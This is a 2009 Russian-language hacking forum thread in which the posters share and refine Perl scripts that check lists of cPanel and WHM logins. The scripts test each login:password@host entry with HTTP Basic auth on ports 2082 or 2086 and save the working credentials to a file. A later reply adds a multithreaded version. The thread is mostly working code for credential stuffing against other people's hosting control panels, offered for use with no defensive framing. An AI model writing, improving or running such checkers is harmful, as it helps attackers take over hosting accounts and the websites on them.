Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [PERL]Simple WHM & Cpanel Checker (https://forum.antichat.xyz/showthread.php?t=104446)

Sharky 03.02.2009 02:49

[PERL]Simple WHM & Cpanel Checker
 
Простенький чекер WHM и CPANEL акков


Скармливать файл с акками вида:
login:pass@host.com
login1:pass1@host1.com
login2:pass2@host2.com

PHP код:

#!/usr/bin/perl

use IO::Socket;
use 
MIME::Base64;

my @acc shared;
my $i shared;

$accounts 'accs.txt'#Файл с акками
$good 'good.txt'#Файл с прочеканными гуд акками
$port '2086'#WHM - 2086, Cpanel - 2082
$timeout '5'#Таймаут

open (ACS"<$accounts");
@
acc acc();

while(@
acc)
    {    
        {
lock(@acc);$acc shift @acc;}
my ($logpass$server) = split(/@/, $acc);
my ($login$pass) = split(/:/, $logpass);

$lp $login.":".$pass;
$nn "\r\n";
$auth MIME::Base64::encode($lp);

my $sock = new IO::Socket::INET 
        
(
        
PeerAddr => $server,
           
PeerPort => $port
           
PeerProto => 'tcp'
           
TimeOut => $timeout
        
);
        if(!
$sock){
                print 
"$server - [TIMEOUT]\n"
             
}else{

               
my $re =  "GET / HTTP/1.1".$nn.
                
"Host: ".$server.$nn.
                
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
                
"Pragma: no-cache".$nn.
                
"Cache-Control: no-cache".$nn.
                
"Authorization: Basic ".$auth.$nn.
                
"Connection: Keep-Alive".$nn.$nn;
                print 
$sock $re
                
sysread ($sockmy $answ400);
                
close $sock;

                if (
$answ =~ /200/){
                         print 
"$server - [OK]\n";
                         
open(FILE">>$good");
                         print 
FILE "$acc\n";
                         
close(FILE);
                              }else{
                         print 
"$server - [BAD]\n";
                }
                {
lock($i);$i++;}
        }
    }


sub acc
{
    
my (@mas);
    while (<
ACS>){
    
push @mas$_;
    }
    
chomp @mas;
    return @
mas;



Sharky 03.02.2009 22:45

Неужели никто покритиковать не может? :)

Chaak 03.02.2009 23:01

говно

Sharky 04.02.2009 00:17

Цитата:

Сообщение от ChaaK
говно

спасибки чаки :)

N19hTW0lF 04.02.2009 16:52

добавь многопоточность

demond 04.02.2009 21:35

просили по критиковать, критикую :-)

зачем shared, если потоков нет?
Код:

my @acc : shared;
my $i : shared;

не лучше ли использовать $/ вместо:
Код:

$nn = "\r\n";
Везде нормально, а тут почему то переменные внесены в кавычки!
Код:

print "$server - [OK]\n";
print FILE "$acc\n";
print "$server - [BAD]\n";

Почему бы не написать так:
Код:

print $server." - [OK]".$/;
print FILE $acc.$/;
print $server." - [BAD]".$/;


Sharky 04.02.2009 22:17

N19hTW0lF, в след версии сделаю
demond, спасибо в след версии учту ( я только учусь :) )

Chaak 04.02.2009 22:22

Вы что задроты так код палировать?

Kaimi 04.02.2009 23:26

Цитата:

Вы что задроты так код палировать?
А это мысль...

Код:

#!/usr/bin/perl -w
use strict;
use threads;
use threads::shared;
use IO::Socket;
use MIME::Base64();
use Fcntl ':flock';

my $accounts        = 'accs.txt'; #Файл с акками login:pass@host
my $good        = 'good.txt'; #Файл с прочеканными гуд акками
my $port                = '2082'        ; #WHM - 2086, Cpanel - 2082
my $timeout        = 5                ; #Таймаут
my $threads        = 1                ; #Потоки
$|                        = 1;

my @trl;

open ACS, "<", $accounts || die $!;
chomp(my @acc : shared = <ACS>);
close ACS;

my $size = scalar @acc;
my $i : shared = 0;

for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
for(@trl) { $_->join; }

sub check {
 while(@acc)
        {
        my ($cred, $host) = split /@/, shift @acc;
        my $s = sockme($host, $port);
        next if !$s;
        my $request = "GET / HTTP/1.0\n".
                                  "Host: $host\n".
                                  "User-Agent: Mozilla/5.0\n".
                                  "Connection: close\n".
                                  "Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
        print $s $request;
        read $s, my $answ, 128;
        $answ =~ /200 OK/ ? note($cred.':'.$host) : ();
       
        {lock($i);$i++;}
        print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
        }
}

sub note {
 print localtime()." [+] $_[0]\n";
 open F, ">>", $good  || warn $!;
 flock F, 'LOCK_EX';
 print F $_[0]."\n";
 flock F, 'LOCK_UN';
 close F;
}

sub sockme {
 my $sock = new IO::Socket::INET
                (
                PeerAddr        => $_[0],
                  PeerPort        => $_[1],
                  PeerProto        => 'tcp',
                  TimeOut        => $timeout,
                ) || warn $!;
 return $sock ? $sock : 0;
}

Мб есть косяки...


Время: 18:00